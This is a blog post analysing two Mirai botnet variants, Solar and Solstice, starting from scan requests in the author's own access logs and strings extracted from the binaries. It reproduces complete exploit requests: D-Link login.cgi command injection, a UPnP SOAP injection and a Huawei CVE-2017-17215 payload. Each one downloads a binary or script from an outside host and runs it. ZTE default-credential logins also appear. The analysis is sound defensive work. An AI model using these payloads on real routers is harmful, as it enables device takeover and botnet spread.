Race Conditions

One commit at a time

Solar and Solstice - Two Mirai Variants

Notes on Solar and Solstice binaries.

Strange Visitors in the Access Logs

A few days (or maybe it was weeks), after I launched a public facing web service (a visual colour search engine I wrote a bit more about in this post) I started seeing some strange entries in the access logs.

"<source ip redacted> - - [20/Apr/2019:14:11:03 +0000] "GET
/login.cgi?cli=aa%20aa%27;
wget%20http://<compromised host redacted>/bins/Rep.mips%20-O%20->%20/tmp/.Solar;
chmod%20777%20/tmp/.Solar;/tmp/.Solar%20Dlink.mips%27$
HTTP/1.1" 404 233 "-" "Solar/9.0"
"  

They came with various funny looking user agent strings like Hakai, Shinka, LMAO and trapgod. These requests are passively scanning available IP addresses and looking for D-Link routers, which have not been patched for a remote command execution vulnerability (described here). By sending a request to the /login.cgi endpoint and including the cli parameter, attackers are able to trick the compromised D-Link router to download a binary (for example Rep.mips in the example above), store it in the /tmp folder, turn it into an executable and then run it.

Although after a few months, most of the scanning activity for Hakai, Shinka, LMAO and trapogod stopped, two variants: Solar and Solstice keep rearing their heads every now and then. After a few quiet weeks in the access logs, I detected a new scan attempting to download Solar and another similar one attempting to download Solstice.

<redacted source> - - [21/Apr/2019:15:19:20 +0000]
"GET /login.cgi?cli=aa%20aa%27;wget%20http://<host machine>/bins/Solstice.mips%20-O%20->%20/tmp/.Solstice;
chmod%20777%20/tmp/.Solstice;
/tmp/.Solstice%20dlink%27$ HTTP/1.1" 404 233 "-" "Solstice/2.0"

According to AbusedIP, the source IP which originated this request for Solstice belongs to an Italian telecommunications company. Most likely at some point the machine was compromised and this scanner program installed. The compromised hosting server which is the target of the wget command belongs to a hosting provider located in the United States.

As of this writing, neither of the hosting machines is online, which means someone has noticed and fixed the problem hopefully! In the remainder of this post, I’m going to examine malware binaries, which spread with the same exploit and under the same user agents. It’s possible that the binaries distributed with the aforementioned scanning activity have changed. In particular, it seems likely that the binary for Solar.mips may have changed. Previous commands did not include the filename Rep.mips, but this could be just a simple file renaming exercise.

Taking a look at the binaries

MD5 Hashes

7bfd3737bc3bb8e1439cc65d61fab59b Solstice link to VirusTotal

49521f4745ef08731bbb0c1771113a3f Solar.mips link to VirusTotal

Both the Solar and Solstice binaries are 32-bit MSB executables. You can find this out by running the file command.

file Solar.mips
Solar.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

Let’s unpack this a little bit. ELF stands of Executable and Linkable Format and is a common format you might find on *nix like systems. The MIPS part refers to the target instruction architecture that the file is compiled for. For example, if I run the file command on the python3.5 binary, I’ll get the following output

python3.5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32,

which tells me that the target architecture for this ELF binary is x86-64.

MIPS, short for Microprocessor without Interlocked Pipeline Stages, is a reduced instruction set. MIPS architectures are commonly found in embedded systems and routers, which makes sense, because routers are targets for Mirai variants.

Now that we’ve established the types of files we are dealing with, let’s take a look at the strings in each of these ELF files.

Solstice strings

Let’s take a look at the first interesting output from strings Solstice.

POST /UD/?9 HTTP/1.1
User-Agent: OSIRIS
Content-Type: text/xml
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://1.1.1.1/Solar.sh -O - > lol.sh; chmod 777 lol.sh; sh lol.sh; rm lol.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

After a quick Google search, it looks like the Solstice binary might be using some variation of the UPnP SOAP Command Execution to embed a shell command in the <NewInternalClient></NewInternalClient> block. I’m trying to read the command

`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://1.1.1.1/Solar.sh -O - > lol.sh; chmod 777 lol.sh; sh lol.sh; rm lol.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`

as though it was regular bash. Some parts are clear, others not so much. For example, it looks like we are redirecting something to a file /tmp/.e and then changing directories to /tmp, but it’s not clear exactly what is being redirected to /tmp.e or if the symbol > even means redirection here. Afterwards, we change directories to /var/dev and try to download a shell script Solar.sh from 1.1.1.1, which funnily enough, looks like the DNS system that Cloudflare set up a while ago.

If you read the Wikipedia article, you’ll notice that this address is not a reserved IP address, and to quote the article, “and was abused by many existing routers (mostly those sold by Cisco Systems) and companies for hosting login pages to private networks, exit pages or other purposes, rendering the proper routing of 1.1.1.1 impossible on those systems”. So based on this, it looks like the command embedded in this SOAPaction request is trying to download a shell script called Solar.sh from some sort of internal system. Weird.

Another weird thing is that the binary is named Solstice, but it appears to download something that could be (if the malware author is keeping with their naming theme) part of the Solar variant’s spreading strategy. Maybe Solstice was just a slightly tweaked copy of Solar?

The command then continues to run make the script (now renamed to lol.sh) executable, runs it once, removes it and modifies firewall rules (the iptables command).

The second interesting string looks like this

POST /cdn-cgi/
Cookie: 
http
url=

Based on this YARA signature by Florian Roth, this string appears to be a vestige of the original Mirai source code. Not much more to add to this at this point.

GET /login.cgi?cli=aa%20aa%27;wget%20http://<redacted IP>/bins/Solstice.mips%20-O%20->%20/tmp/.Solstice;chmod%20777%20/tmp/.Solstice;/tmp/.Solstice%20dlink%27$ HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Solstice/2.0

This HTTP request is similar to the original request I detected in my access logs. Presumably this is one of the ways every new Solstic infection spreads.

The final request we can find among the strings from the Solstice binary is this one

POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 430
Connection: keep-alive
Accept: */*
Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 68.183.170.67 -l /tmp/rex -r /bins/Solstice.mips; /bin/busybox chmod 777 * /tmp/rex; /tmp/rex huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

As Security Affairs writes in this article about the rise of the Satori variant of the Mirai family, this request exploits the vulnerability CVE-2017-17215, which allows attackers to inject shell commands into the request.

<NewStatusURL>$(/bin/busybox wget -g <redacted IP> -l /tmp/rex -r /bins/Solstice.mips; /bin/busybox chmod 777 * /tmp/rex; /tmp/rex huawei)</NewStatusURL>

As in previous examples, the injected command downloads a binary from an IP address, makes the binary executable and runs it. I tried to look though the wget manual to find out what the -g flag would do, but alas, no luck.

Finally, two interesting strings

Solstice.com
abcdefghijklmnopqrstuvw012345678

The first one appears to be a registered domain, the second one a string of letters and numbers - presumably for some kind of algorithm to generate passwords(?).

Solar strings

The strings present in the Solar binary are similar.

The same Mirai source code vestige we saw for Solstice

POST /cdn-cgi/
Cookie: 
http
url=

The familiar request to the login.cgi endpoint (similar to the one for Solstice).

GET /login.cgi?cli=aa%20aa%27;wget%20http://<IP redacted>/bins/Solar.mips%20-O%20->%20/tmp/.Solar;chmod%20777%20/tmp/.Solar;/tmp/.Solar%20dlink%27$ HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Solar/2.0

and another familiar one

POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 430
Connection: keep-alive
Accept: */*
Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g <IP redacted> -l /tmp/rex -r /bins/Solar.mips; /bin/busybox chmod 777 * /tmp/rex; /tmp/rex huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

In addition, the Solar binary, just like Solstice, has a domain name

Solarpanels.com

and the same string of letters in the alphabet and numbers

abcdefghijklmnopqrstuvw012345678

The request below appears in a repository of ZTexploits

POST /login.gch HTTP/1.1
User-Agent: L33T <3
Content-Length: 420
Connection: keep-alive
Accept: */*

Likewise, this fragment

Frm_Logintoken=4&Username=root&Password=W%21n0%26oO7.

references the default username and password in the ZTE ZXV10 H108L Router remote command execution exploitt.

The last HTTP method string present is a POST method that allows attackers to download a configuration file without authentication

POST /getpage.gch?pid=1001&logout=1 HTTP/1.1
User-Agent: L33T <3
Content-Length: 420
Connection: keep-alive
Accept: */*